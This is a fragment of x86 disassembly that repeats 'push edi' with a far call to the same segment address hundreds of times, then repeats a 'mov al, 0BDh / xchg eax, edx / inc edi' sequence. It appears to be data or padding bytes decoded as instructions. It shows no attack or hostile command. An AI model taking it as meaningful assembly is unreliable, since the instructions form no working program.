		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	4760h:9A579F60h
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
